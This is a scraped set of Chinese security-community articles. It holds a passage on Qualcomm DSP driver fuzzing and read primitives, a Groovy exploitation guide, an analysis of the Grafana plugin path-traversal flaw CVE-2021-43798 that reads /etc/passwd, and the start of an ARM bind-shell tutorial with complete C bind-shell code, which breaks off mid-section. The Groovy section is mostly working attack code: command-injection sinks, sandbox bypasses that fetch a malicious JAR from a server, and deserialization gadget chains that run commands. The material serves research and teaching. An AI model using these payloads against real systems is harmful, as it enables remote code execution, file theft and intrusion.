如图所示，0x3F方法被调用并提供了一个输入参数和三个输出参数。输入参数的内容以字节0x14开始，包含以下主要字段。
* 红色0x02显示要读多少个半字（大小）。
* 黄色0x44332211显示要读取的内容（源）。这个值是相对于DSP堆中第一个输出参数的开始的偏移。使用这个偏移量，我们可以控制读取的起始地址。这个偏移量可以是我们想要的长度，甚至可以是负数。
* 青色的0x04显示了要读的地方（目的地）。这个值也是偏移量。
崩溃是由于源地址不正确引起的。
【图6：故障转储】
下面显示了用于读取原语的缩写POC代码。
输入参数在DSP堆中总是位于输出参数之后。因此，在写入原语中，我们需要根据第一个输出参数的长度来转移源地址（所有其他参数都是空的）。
攻击者可以在DSP进程（User
PD）的地址空间中操纵源和目的偏移量进行读写。第一个输出参数和内存中的`libfastcvadsp_skel.so`库之间的偏移量是一个常量值。在skel或对象库的数据段中找到一个指针来触发调用是很容易的。出于安全原因，我们将不公布DSP进程中代码执行的其余POC。
## DSP用户领域研究的总结
在这次对属于高通DSP用户域的 skeleton 库和对象库的安全研究中，我们发现了两个全局性的安全问题。
缺少DSP库的版本控制。这使得恶意的Android应用程序可以进行降级攻击，并在DSP上运行有漏洞的库。
Hexagon SDK中的漏洞导致高通公司拥有的和移动供应商的代码中出现了数百个隐藏的漏洞。由于Hexagon
SDK的问题，几乎所有嵌入基于Snapdragon的智能手机中的DSP skeleton 库都容易受到攻击。
我们向高通公司报告了几十个DSP库中约400个独特的崩溃，包括以下内容:
* `libfastcvadsp_skel.so`
* `libdepthmap_skel.so`
* `libscveT2T_skel.so`
* `libscveBlobDescriptor_skel.so`
* `libVC1DecDsp_skel.so`
* `libcamera_nn_skel.so`
* `libscveCleverCapture_skel.so`
* `libscveTextReco_skel.so`
* `libhexagon_nn_skel.so`
* `libadsp_fd_skel.so`
* `libqvr_adsp_driver_skel.so`
* `libscveFaceRecognition_skel.so`
* `libthread_blur_skel.so`
为了证明这一点，我们利用其中一个已发现的漏洞，获得了在基于骁龙处理器的设备上执行无符号代码的能力，包括三星、Pixel、LG、小米、OnePlus、HTC和索尼手机。
一个能够访问DSP的用户域的安卓应用获得了以下可能性。
* 触发DSP内核恐慌并重启移动设备。
* 隐藏恶意代码。反病毒软件不扫描Hexagon指令集。
* cDSP负责对来自摄像头传感器的流媒体视频进行预处理。攻击者可以接管这个流程。
* 访问DSP内核驱动程序。驱动程序中的漏洞可以将应用程序的权限扩大到客户操作系统或DSP内核的权限。
## DSP驱动器
QuRT操作系统实现了自己的设备驱动模型，称为QuRT驱动调用（QDI）。QDI是无法从Android
API中访问的。像POSIX一样，QDI设备驱动的操作权限高于请求驱动服务的用户代码。QDI提供了一个简单的驱动程序调用API，隐藏了所有与特权模式相关的实现细节。
`libqurt.a`库是Hexagon SDK的一部分，它包含QDI基础设施。FastRPC外壳与该库静态链接。
在QuRT的可执行二进制文件中可以找到几十个QDI驱动程序。它们通常被命名为`/dev/...`、`/qdi/...`、`/power/...`、`/drv/...`、`/adsp/...`或`/qos/...`。`int
qurt_qdi_open(const char*
drv)`函数可以用来获得对QDI驱动的访问。一个小的整数设备句柄会被返回。这是与POSIX文件描述符的直接平行。
QDI只提供了一个宏，是必要的用户可见的API。这个`qurt_qdi_handle_invoke`宏负责所有的通用驱动操作。事实上，`qurt_qdi_open`只是这个宏的一个特例。这些是宏的参数:
1. QDI句柄或预定义的常量值之一。
2. 定义所请求动作的方法编号。在SDK的头文件中，我们看到。
* 方法1和2被保留用于名称注册和名称查询。
* 3-31保留用于对开放句柄的POSIX类型的操作。
* 32-127保留给QDI基础设施。
* 128-255保留给自动生成的方法使用，比如可能由IDL生成的方法。
* 256和更高的是私有方法号。驱动程序可以按照自己的意愿使用这些方法。
3. 0到9个可选的32位参数。
`qurt_qdi_handle_invoke`宏调用相关的设备驱动调用函数，该函数实现了主要的驱动逻辑，并提供了一个指定的方法号和可选的参数。
这是一个从用户PD代码中调用QDI驱动的例子。
一个QDI驱动使用`int qurt_qdi_devname_register(const char *name, qurt_qdi_obj_t
*opener)` API函数在QuRT中注册自己。驱动程序提供它的名字和一个指向开启器对象的指针作为参数。
开启者对象的第一个字段是驱动程序调用函数。QuRT调用这个函数来处理来自用户PD或其他驱动程序的驱动请求，并提供以下参数。
* QDI句柄，代表发送QDI请求的客户端。
* 发出该QDI请求的开启器对象。
* 由调用者提供的QDI方法。
* 由调用者提供的九个可选参数。
一般来说，驱动程序的调用函数是一个由QDI方法ID组成的开关运算器。每个方法可以使用与所提供的参数数量不同的参数。参数类型是`qurt_qdi_arg_t`。
请注意，驱动程序调用函数是基于模糊的漏洞研究的一个很好的目标，因为方法是由ID识别的，而不是由名字识别的，调用者不需要知道参数的确切数量和它们的实际类型来调用驱动程序方法。
## 基于反馈的QDI驱动程序的模糊测试
为了在Ubuntu上摸索QDI驱动，我们使用了与摸索DSP库相同的QEMU Hexagon和AFL的组合。然而，我们实现了另一个Hexagon
ELF二进制文件qdi_exec，而不是skel_loader程序，它负责这些操作。
1. 将作为第一个命令行参数收到的数据文件解析为QDI方法ID和一个由9个参数组成的数组，用于驱动调用函数。
2. 通过第二个命令行参数中指定的地址调用驱动程序调用函数，并提供QDI方法ID和从数据文件中解码的参数。
我们为`qdi_exec`程序使用了以下输入文件格式。
* 头部（4字节）。它包含三个有价值的字段。
* QDI方法ID（10个低位）。在图7的例子中，它是0x01。
* 参数的数量（4位）。在这个例子中，只有一个参数被使用。其余八个参数被认为是零。
* 参数类型的掩码（9位）。正如我们前面提到的，每个参数要么是一个数字，要么是一个指向缓冲区的指针。在掩码中，每个参数用一个比特表示。值为0意味着该参数是一个数字，正值意味着该参数是一个缓冲区。
* 缓冲区参数的大小（每个参数4字节）。在这个例子中，长度为0x0A的`/dev/diag`字符串被用作参数。
* 缓冲区参数的内容。
【图7：用于fuzz QDI驱动程序的输入数据文件】
QDI驱动是作为QuRT
ELF的一部分实现的。高通公司没有把它们包括在`runelf.pbn`版本的QuRT中，我们在模拟器上与我们的程序一起运行。因此，我们不得不对`runelf.pbn`
ELF文件进行如下修补。
1. 在`runelf.pbn`中添加用于真实设备的QuRT ELF的程序段。我们使用了从Pixel 4设备上提取的aDSP二进制文件。
2. 将QDI驱动使用的`malloc`和`memcpy`内核函数重定向到其用户模式实现。内核内存函数限制了用户和内核空间之间的一些传输。
【图8： QDI驱动程序模糊测试方案】
AFL模糊器对数据文件的内容进行了修改，并在模拟器上触发了经过修补的`runelf.pbn`的执行。`runelf.pbn`加载了我们的`qdi_exec`程序，它直接调用了QDI驱动的调用函数。
我们通过对QuRT二进制文件的逆向工程，手动找到了QDI驱动调用函数的起始地址。开启者对象位于代码中的驱动程序名称旁边。
模糊器在骁龙855 aDSP内置的十几个QDI驱动程序中发现了许多崩溃现象。其中大部分也适用于cDSP。
## 利用QDI驱动程序中的漏洞
QDI驱动中的任何故障都可以被用来引起DSP内核的恐慌，并重新启动移动设备。例如，下面的每一行代码都会引起DSP恐慌，并可用于对设备进行DoS攻击。
出于研究目的，我们成功地利用了`/dev/i2c` QDI驱动的几个任意内核读写漏洞和`/dev/glink`
QDI驱动的两个代码执行漏洞。出于安全原因，我们不能公布POC代码，但我们注意到，利用方法相当简单。这是一个读取原语的例子。
恶意的Android应用程序可以利用QDI驱动中发现的漏洞和用户PD的DSP库中描述的漏洞，在DSP客户操作系统的上下文中执行自定义代码。
## 从客户操作系统PD请求安卓服务
如果我们试图从DSP客户操作系统的代码中打开一个与安卓有关的文件，会发生什么？答案是，QuRT将我们的请求重定向到一个特殊的Android守护进程。正如你在图9中看到的，在骁龙855设备上，有两个aDSP守护进程和一个cDSP守护进程，它们以不同的权限运作。
【图9： DSP Android守护程序】
在Pixel 4设备上，这些守护程序的启动命令可以在`init.sm8150.rc`文件中找到。
【图10：像素4`init.sm8150.rc`初始化文件】
这些高权限的`vendor.adsprpcd`和`vendor.cdsprpcd`守护进程处理DSP客户操作系统请求。`u:r:adsprpcd:s0`和`u:r:cdsprpcd:s0`上下文只可以访问与DSP相关的目录和对象，它们作为系统用户操作，但同时又受到SELinux的限制。
## 结论
aDSP和cDSP子系统是非常有前景的安全研究领域。首先，DSP可以被第三方Android应用程序调用。其次，DSP处理个人信息，如通过设备传感器的视频和语音数据。第三，正如我们在博客中介绍的那样，DSP组件中存在许多安全问题。
高通公司为披露的DSP漏洞分配了CVE-2020-11201、CVE-2020-11202、CVE-2020-11206、CVE-2020-11207、CVE-2020-11208和CVE-2020-11209。对于QDI驱动程序中发现的漏洞，高通公司决定不指定CVE。所有问题都已通过2020年11月的高通公司安全补丁成功修复。
出于研究目的，我们利用了一些已发现的漏洞，获得了在所有基于骁龙的移动终端的aDSP和cDSP上执行特权代码的能力。 | 社区文章 |
# Java安全-Groovy
## 简述
Groovy是Apache
旗下的一种基于JVM的面向对象编程语言，既可以用于面向对象编程，也可以用作纯粹的脚本语言。在语言的设计上它吸纳了Python、Ruby 和
Smalltalk 语言的优秀特性，比如动态类型转换、闭包和元编程支持。 Groovy与 Java可以很好的互相调用并结合编程 ，比如在写 Groovy
的时候忘记了语法可以直接按Java的语法继续写，也可以在 Java 中调用 Groovy
脚本。比起Java，Groovy语法更加的灵活和简洁，可以用更少的代码来实现Java实现的同样功能。
### 特点
* 同时支持静态和动态类型；
* 支持运算符重载；
* 本地语法列表和关联数组；
* 对正则表达式的本地支持；
* 各种标记语言，如XML和HTML原生支持；
* Groovy对于Java开发人员来说很简单，因为Java和Groovy的语法非常相似；
* 可以使用现有的Java库；
* Groovy扩展了java.lang.Object；
## Groovy 代码注入
maven 导入Groovy 后，
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.15</version>
</dependency>
可以直接在idea里运行groovy脚本和类。
groovy 可以直接执行Java 代码，也可以按照自己的语法来执行。
比如
Runtime.getRuntime().exec("calc")和"whoami".execute() 本质相同
println "whoami".execute().text 还支持回显
groovy 支持单引号闭合字符串。
还可以像php一样`"${"whoami".execute().text}"`
### MethodClosure
从名字就可以知道，这是一个方法闭包，使用方法闭包来代替对象的某个方法，方便调用。
构造函数第一个参数是对象，第二个参数是对象的方法。
并调用call方法对闭包进行调用。
package com.groovy;
import org.codehaus.groovy.runtime.MethodClosure;
public class Groovy1 {
public static void main(String[] args) throws Exception{
// MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
// mc.call("calc");
MethodClosure mc = new MethodClosure("calc","execute");
mc.call();
}
}
### GroovyShell
`GroovyShell` 这个类 主要有三个方法 `evaluate run parse`
`evaluate` 有多种重载，支持从 `String，File，URI，Reader，GroovyCodeSource` 类型
以及多种的组合执行`groovy`代码。基本逻辑就是获取通过groovy代码来写入或者加载远程或者本地的groovy脚本来执行命令。
parse就是返回一个`groovy`脚本（`groovy.lang.Script` ）然后调用其run 方法执行。
`run`方法就是获取`groovy`脚本来直接运行，跨过`evaluate`和`parse`方法
下面就是简单的demo。 `url`下的`exp.groovy` 内容就是cmd变量的值。
package com.groovy;
import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import java.io.File;
import java.net.URI;
public class Groovy1 {
public static void main(String[] args) throws Exception{
GroovyShell groovyShell = new GroovyShell();
String cmd = "\"whoami\".execute().text";
// System.out.println(groovyShell.evaluate(cmd));
// File file = new File("src/main/java/com/groovy/TestGroovyScipt.groovy");
// System.out.println(groovyShell.evaluate(file));
URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
// System.out.println(groovyShell.evaluate(uri));
GroovyCodeSource groovyCodeSource = new GroovyCodeSource(cmd,"","");
GroovyCodeSource groovyCodeSource1 = new GroovyCodeSource(uri);
System.out.println(groovyShell.evaluate(groovyCodeSource1));
}
}
### GroovyScriptEngine
允许从指定root（可以是某文件夹，某URL，某Resource）下获取脚本来执行，还可以指定类加载器去加载。
package com.groovy;
import groovy.util.GroovyScriptEngine;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import java.net.URL;
import java.net.URLClassLoader;
public class Groovy1 {
public static void main(String[] args) throws Exception{
// GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
// scriptEngine.run("TestGroovyScipt.groovy","");
GroovyScriptEngine scriptEngine1 = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine1.run("exp.groovy","");
}
}
### GroovyScriptEvaluator
这个类的 evaluate方法同样可以执行groovy代码，本质还是`GroovyShell` 。
不过evaluate参数需要是`org.springframework.scripting.ScriptSource` 接口的对象。
这个接口有两个实现类，`StaticScriptSource` ，`ResourceScriptSource` 。
前者提供脚本字符串，后者需要提供一个可以触发 `org.springframework.core.io.Resource#getFilename`
`Resource`接口对象
package com.groovy;
import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import groovy.util.GroovyScriptEngine;
import org.springframework.core.io.FileSystemResource;
import org.springframework.scripting.ScriptSource;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import org.springframework.scripting.support.ResourceScriptSource;
import org.springframework.scripting.support.StaticScriptSource;
public class Groovy1 {
public static void main(String[] args) throws Exception{
GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
// ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
// System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
// FileSystemResource fileSystemResource = new FileSystemResource("src/main/java/com/groovy/TestGroovyScipt.groovy");
// ScriptSource source = new ResourceScriptSource(fileSystemResource);
// System.out.println(groovyScriptEvaluator.evaluate(source));
Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
ScriptSource source = new ResourceScriptSource(urlResource);
System.out.println(groovyScriptEvaluator.evaluate(source));
}
}
### GroovyClassLoader
`GroovyClassLoader` 用于在Java中加载groovy 类并调用，有重写的`loadClass` 和 `defineClass`
用法大抵相同，`parseClass` 可以直接从文件或者字符串中获取groovy类。
package com.groovy;
import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyObject;
public class Groovy1 {
public static void main(String[] args) throws Exception{
// GroovyClassLoader classLoader = new GroovyClassLoader(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")}));
// Class clazz = classLoader.loadClass("exp");
GroovyClassLoader classLoader = new GroovyClassLoader();
// Class clazz = classLoader.parseClass(new File("src/main/java/com/groovy/Test.groovy"));
Class clazz = classLoader.parseClass("class Test {\n" +
" static void main(String[] args) {\n" +
" GroovyShell groovyShell = new GroovyShell()\n" +
" String cmd = \"\\\"whoami\\\".execute().text\"\n" +
" println(groovyShell.evaluate(cmd).toString())\n" +
" }\n" +
"}\n");
GroovyObject object = (GroovyObject) clazz.newInstance();
object.invokeMethod("main","");
}
}
### ScriptEngine
`javax.script.ScriptEngine` 想必都熟悉，我们可以使用他来执行`js`脚本，当然也可以执行`groovy` 脚本。
package com.groovy;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
public class Groovy1 {
public static void main(String[] args) throws Exception{
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
}
}
### Bypass 沙箱
#### @AST注解执行断言
package com.groovy
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
''')
#### @Grab注解添加恶意依赖
需要导入ivy依赖
<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.4.0</version>
</dependency>
> Grape is a JAR dependency manager embedded into Groovy. Grape lets you
> quickly add maven repository dependencies to your classpath, making
> scripting even easier.
package com.groovy
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name = "PoC",root = "http://127.0.0.1:8888/")
@Grab(group = "PoC",module = "EvilJar",version = "0.1")
import PoC
''');
索引会像加载maven依赖一样，如果本地仓库没有，就从服务器的 `PoC/EvilJar/0.1/`目录，下载`EvilJar-0.1.jar`
文件，默认存储在 `~/.groovy/grapes` 目录下
导入的jar包会先经过两种处理
groovy-all-2.4.15-sources.jar!/groovy/grape/GrapeIvy.groovy
其中利用了SPI机制。
`processCategroyMethods` 用来注册扩展方法。
`processOtherServices` 用来发现并处理其他服务，比如`META-INF/services/org.codehaus.groovy.plugins.Runners`
根据代码可以大概总结为，从上述接口文件中，遍历所有不是#开头的行，获取每行的类名然后加载并实例化。
利用
package com.groovy
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name = "PoC",root = "http://127.0.0.1:8888/")
@Grab(group = "PoC",module = "EvilJar",version = "0.1")
import java.lang.String
''');
这里的注解需要加载import上，所以随便import一个类就行。
## Groovy反序列化
在Groovy中，闭包是允许被序列化的。
`MethodClosure` 的`call`方法可以用来执行命令，
需要找到一个可以触发`call`方法，在`org.codehaus.groovy.runtime.ConvertedClosure#invokeCustom`
里可以找到触发，
可以看到`ConvertedClosure`的继承关系如下，
说白了，他就是动态代理里的`handler`类，他的文档解释说这个类是一个通用适配器，用于将Java接口调用映射到给定的委托。
这里的委托就是构造时传入的闭包。
看一下他的`invoke`方法的定义
对声明类不是 Object 的方法的任何调用（不包括 toString() 和默认方法）都将重定向到 invokeCustom。
`checkMethod`就是检查是不是Object类的方法，比如，`hashCode`，`equals`，`toString` 等。
只有方法名和代理对象调用的方法名相同时才能调用call方法。
package com.groovy;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
import java.util.Map;
public class Groovy1 {
public static void main(String[] args) throws Exception{
MethodClosure mc = new MethodClosure(Runtime.getRuntime(),"exec");
ConvertedClosure convertedClosure = new ConvertedClosure(mc,"get");
Map map = (Map) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Map.class},convertedClosure);
map.get("calc");
}
}
为什么用get，因为代理执行结果与对应方法的类型不匹配，会报错，不过并不影响命令执行。可以像cc一样去找调用了`get`方法的地方，但是还得保证`get`的参数是可控的，有点鸡肋。不过还有各种类的各种方法可以代理。看一下yso的调用链。
优先队列反序列化时会对元素进行比较（ref：p牛星球），所以只需要创建一个`Comparable`的代理对象就可以了。
package com.groovy;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
public class Groovy1 {
public static void main(String[] args) throws Exception{
MethodClosure mc = new MethodClosure(Runtime.getRuntime(),"exec");
ConvertedClosure convertedClosure = new ConvertedClosure(mc,"compareTo");
Comparable comparator = (Comparable) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Comparable.class},convertedClosure);
comparator.compareTo("calc");
}
}
还可以代理无参数的方法触发命令执行。
package com.groovy;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
import java.util.Map;
public class Groovy1 {
public static void main(String[] args) throws Exception{
MethodClosure mc = new MethodClosure("calc","execute");
ConvertedClosure convertedClosure = new ConvertedClosure(mc,"entrySet");
Map map = (Map) Proxy.newProxyInstance(Groovy1.class.getClassLoader(),new Class[]{Map.class},convertedClosure);
map.entrySet();
}
}
entrySet 方法可以参考`sun.reflect.annotation.AnnotationInvocationHandler#readObject`
## 参考
[https://www.mi1k7ea.com/2020/08/26/%E4%BB%8EJenkins-RCE%E7%9C%8BGroovy%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5/#Groovy%E7%AE%80%E4%BB%8B](https://www.mi1k7ea.com/2020/08/26/从Jenkins-RCE看Groovy代码注入/#Groovy简介)
<https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Groovy1.java> | 社区文章 |
## 0x01 起因
下午的时候，群里突然看到这样一条信息
貌似是某个0day漏洞被公开了。。。因为前几天刚分析完泛微的漏洞，发现在分析过程中会发现一些有趣的东西，所以这里也尝试进行了分析。当然，在分析之前，还是先自己打一遍，熟悉一下。
## 0x02 环境搭建&漏洞复现
1、百度了一下Grafana
2、大概理解了一下，Grafana是一个完全开源的度量分析与可视化平台，可对来自各种各种数据源的数据进行查询、分析、可视化处理以及配置告警。而clock-panel则是其中的一个插件。
插件地址如下：
<https://github.com/grafana/clock-panel>
3、然后就是搭建环境了，首先从官网找到安装包和教程，我这里是mac版的
<https://grafana.com/grafana/download?platform=mac>
安装教程这里也很详细写了
curl -O https://dl.grafana.com/enterprise/release/grafana-enterprise-8.3.0.darwin-amd64.tar.gz
tar -zxvf grafana-enterprise-8.3.0.darwin-amd64.tar.gz
4、按照命令下载并解压文件后，在目录下会获取grafana的文件
5、根据tomcat的启动来看，一般是在bin文件夹下可以发现一个文件，执行并启动。于是我尝试了一下，果然执行成功了。
cd bin
./grafana-server
在运行结果的最后面，也看到了端口为3000
6、于是，环境搭建完成
7、简单抓个包，尝试打poc，显示插件不存在
8、一开始我觉得这个poc是假的，然后想想，是不是因为需要特定的插件呢，于是登录进去，安装了clock插件。（默认账号密码都是admin）
9、再尝试放包后，居然真的读取到了文件（惊呆了，原来mac系统一样有/etc/passwd文件）
## 0x03 踩坑-clock插件
1、因为poc为插件clock来产生的，所以我最开始是认为漏洞存在于插件clock中，下载源码进行查看。
2、看了module.ts、options.ts
3、慢慢理解代码之后，发现好像并不是需要看的，而且最起码的，我居然没有搜到“Plugin not found”
4、卡壳中。。。
## 0x04 思路转变，发现新poc
1、因为代码分析不出结果，并且通过百度知道，go开发的系统，代码是在.go文件中的，这里明显不对。
思考不出结果之后，我想想，别的插件会不会也有呢？然后看到有个text插件比较容易打字，尝试了一下，居然可以打。
2、瞬间思路清晰了，不是因为clock这个插件的问题，而是本身plugins的控制器就存在问题，只要插件存在，便会加载后面路径的文件，并且可以通过../../跨目录。
然后我就下载了grafana的源码
下载地址：<https://github.com/grafana/grafana/releases/tag/v8.2.6>
## 0x05 开始另类的源码分析
1、看到源码之后，我懵了，因为go语言的web系统基本没接触过，不知道从何下手，于是，我想看看前人是怎么分析漏洞的，百度百度～
2、然后看到一篇文章，讲的是之前的SSRF漏洞的
<https://www.freebuf.com/vuls/245582.html>
3、没有细看，但是大概理解了，入口一般是在/pkg/api/api.go文件中。使用idea打开项目，访问api.go文件，可以看到很多路径，我的经验告诉我，这里可以算是路由了。
1）在前几行便可以看到一个包含/plugins/的路径，但是后面好像挺多都是一个叫reqSignedIn的方法，感觉不太对，先跳过。后面了解到reqSignedIn表示需要登录，没有则表示不需要登录。
2）在第139行，一个路径为/public/plugins/:pluginId/*的路由，调用了 **getPluginAssets** 方法。
2）在284行左右，又看到了/plugins/，但是认真一看，路径不对，按照POC的请求来看，应该是一个类似/public/plugins/:path的请求。
4、最后确定了请求所对应的方法，全局搜索一下 **getPluginAssets** ，快捷键是command+shift+F
5、一共搜索出5个结果，简单判断便可以知道应该是最后一个（第一个方法不对，第二、三个不是方法定义、第四个是注释），所以方法路径为/pkg/api/plugins.go
6、打开对应方法，在第259行，后面我会分段对这段代码进行分析。
7、代码分析1
func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
//将pluginId赋值
pluginID := macaron.Params(c.Req)[":pluginId"]
//从PluginManager获取插件的pluginID
plugin := hs.PluginManager.GetPlugin(pluginID)
//判断是否为空，为空的话页面返回"Plugin not found"，这里也对应了我一开始访问不存在插件的时候无法利用
if plugin == nil {
c.JsonApiErr(404, "Plugin not found", nil)
return
}
8、代码分析2
join是go语言一种拼接字符串的方式
//取出/public/plugins/后面的路径，也就是../../../../../../../etc/passwd
requestedFile := filepath.Clean(macaron.Params(c.Req)["*"])
//使用join直接拼接插件路径和../../跨目录的路径。
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
//调用方法IncludedInSignature，方法在/pkg/plugins/models.go，从返回信息便可以判断是检测对文件是否具有权限的
if !plugin.IncludedInSignature(requestedFile) {
hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
"is not included in the plugin signature", "file", requestedFile)
}
9、代码分析3
// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
// use this with a prefix of the plugin's directory, which is set during plugin loading
// nolint:gosec
//前面知道了pluginFilePath便是直接拼接后的路径，也就是指向了/etc/passwd文件
//这里使用了open方法直接读取文件
f, err := os.Open(pluginFilePath)
//检测文件读取是否出错
if err != nil {
if os.IsNotExist(err) {
c.JsonApiErr(404, "Plugin file not found", err)
return
}
c.JsonApiErr(500, "Could not open plugin file", err)
return
}
defer func() {
if err := f.Close(); err != nil {
hs.log.Error("Failed to close file", "err", err)
}
}()
//获取文件属性
fi, err := f.Stat()
if err != nil {
c.JsonApiErr(500, "Plugin file exists but could not open", err)
return
}
//设置header
if hs.Cfg.Env == setting.Dev {
c.Resp.Header().Set("Cache-Control", "max-age=0, must-revalidate, no-cache")
} else {
c.Resp.Header().Set("Cache-Control", "public, max-age=3600")
}
//将获取到的信息进行返回（其中fi.ModTime()为文件修改时间）
http.ServeContent(c.Resp, c.Req, pluginFilePath, fi.ModTime(), f)
}
Stat()可以看详细解释。
## 0x06 思考与总结
前面看到，在api.go中通过关键字reqSignedIn选项区分是否需要登录，那么是不是可以将一些不需要登录的接口筛选出来进行检测呢？
另外，在这个漏洞中可以看到，通过直接拼接的方式将加载插件的请求变成了任意文件读取。那么能不能全局搜索filepath.Join(或者os.Open(审计别的接口是否存在同样的问题呢。。。在这里抛砖引玉了～
总结：分析完之后，发现其实可以说是一个加载插件文件的功能点，但是因为对输出信息没有做很好的过滤，导致了输入的信息经过../../跨目录之后，读取到了任意文件内容。修复方案我觉得应该是禁止跨目录吧，限制读取文件的范围就可以基本防护住了~
自己写了个批量验证脚本：<https://github.com/j-jasson/CVE-2021-43798-grafana_fileread> | 社区文章 |
# 看我如何用ARM汇编语言编写TCP Bind Shell
##### 译文声明
本文是翻译文章，文章原作者 Azeria，文章来源：azeria-labs.com
原文地址：<https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在本教程中，我会向大家介绍如何编写不包含null字节、可以用于实际漏洞利用场景的TCP bind
shellcode。我所提到的漏洞利用过程，指的是经过许可、合法的漏洞研究过程。如果大家对软件漏洞利用技术不是特别熟练，希望我能够引导大家将这种技术用在正当场合中。如果我们找到了某个软件漏洞（比如栈溢出漏洞），希望能够测试漏洞的可利用性，此时我们就需要切实可用的shellcode。不仅如此，我们还需要通过恰当的技术来使用shellcode，使其能够在部署了安全机制的环境中正常执行。只有这样，我们才能够演示漏洞的可利用性，也能演示恶意攻击者利用这种安全缺陷的具体方法。
读完本教程后，你可以了解如何编写将shell绑定（bind）到本地端口的shellcode，也可以了解编写此类shellcode的常用手法。bind型shellcode与反弹型（reverse）shellcode差别不大，只有1~2个函数或者某些参数有所差异，其余大部分代码基本相同。编写bind或reverse
shell远比创建简单的[execve() shell](https://azeria-labs.com/writing-arm-shellcode/)复杂得多。如果你想从简单的开始学起，你可以先学一下如何使用汇编语言编写简单的execve()
shell，然后再深入阅读本篇教程。如果你需要重温Arm汇编知识，你可以参考我之前写的[ARM汇编基础](https://azeria-labs.com/writing-arm-assembly-part-1/)系列教程，或者参考如下这张图：
在正式开始前，我想提醒大家，我们正在编写ARM平台的shellcode，因此如果手头没有ARM环境，我们首先需要搭建相应的实验环境。你可以自己搭建一个（使用[QEMU](https://azeria-labs.com/emulate-raspberry-pi-with-qemu/)模拟Raspberry Pi），也可以直接下载我搭建的现成虚拟机（[ARM
LAB VM](https://azeria-labs.com/arm-lab-vm/)），一切准备就绪，可以开始工作了。
## 二、背景知识
首先介绍下什么是bind shell及其工作原理。使用bind
shell时，我们可以在目标主机上打开某个通信端口，或者创建某个监听端（listener）。监听端接受我们发起的连接，返回能够访问目标系统的shell。
使用reverse shell时，目标主机会反连至我们的主机。这种情况下，我们的主机上需要运行一个监听端，接受目标系统的反向连接。
这两种shell各有其优点及缺点，需要根据目标环境来权衡使用。比如，通常情况下目标防火墙会阻拦入站连接，放行出站连接，此时如果你使用的是bind
shell，虽然可以bind目标系统的某个端口，但由于防火墙阻拦了入站连接，结果就是你无法成功与之建连。因此，在某些场景中，我们可以优先选择使用reverse
shell，如果防火墙配置不当，允许出站连接，那么我们的shell就能正常工作。如果你知道如何编写bind shell，你应该也知道如何编写reverse
shell。一旦我们理解具体工作原理，只需要做几处改动，我们就可以将已有的汇编代码改成reverse shell代码。
为了将bind shell改写成汇编语言，我们首先需要熟悉bind shell的工作流程：
1、创建新的TCP socket。
2、将该socket绑定到某个本地端口上。
3、监听连接。
4、接受连接。
5、将STDIN、STDOUT以及STDERR重定向至新创建的客户端socket。
6、启动shell。
这个过程对应的C代码如下所示，后面我们会将该代码转化为相应的汇编代码：
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int host_sockid; // socket file descriptor
int client_sockid; // client file descriptor
struct sockaddr_in hostaddr; // server aka listen address
int main()
{
// Create new TCP socket
host_sockid = socket(PF_INET, SOCK_STREAM, 0);
// Initialize sockaddr struct to bind socket using it
hostaddr.sin_family = AF_INET; // server socket type address family = internet protocol address
hostaddr.sin_port = htons(4444); // server port, converted to network byte order
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, converted to network byte order
// Bind socket to IP/Port in sockaddr struct
bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
// Listen for incoming connections
listen(host_sockid, 2);
// Accept incoming connection
client_sockid = accept(host_sockid, NULL, NULL);
// Duplicate file descriptors for STDIN, STDOUT and STDERR
dup2(client_sockid, 0);
dup2(client_sockid, 1);
dup2(client_sockid, 2);
// Execute /bin/sh
execve("/bin/sh", NULL, NULL);
close(host_sockid);
return 0;
}
## 三、系统函数及其参数
第一步是确定所需的系统函数、函数参数以及相应的系统调用号（system call
